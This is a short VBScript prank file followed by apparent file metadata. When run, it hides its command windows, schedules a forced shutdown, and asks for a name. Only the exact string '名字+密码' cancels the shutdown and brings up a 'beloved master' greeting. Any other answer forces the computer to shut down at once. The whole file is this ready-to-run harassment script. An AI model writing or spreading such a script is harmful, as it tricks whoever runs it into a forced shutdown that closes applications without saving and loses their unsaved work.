dim name
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 60",0 ,true
name = inputbox("请输入您的名字:","名称")
if name="名字+密码"then
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -a",0 ,true
msgbox name,,"欢迎人见人爱的主人"
else
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
end if
2022-05-17 09:06:35
428B
vbs
1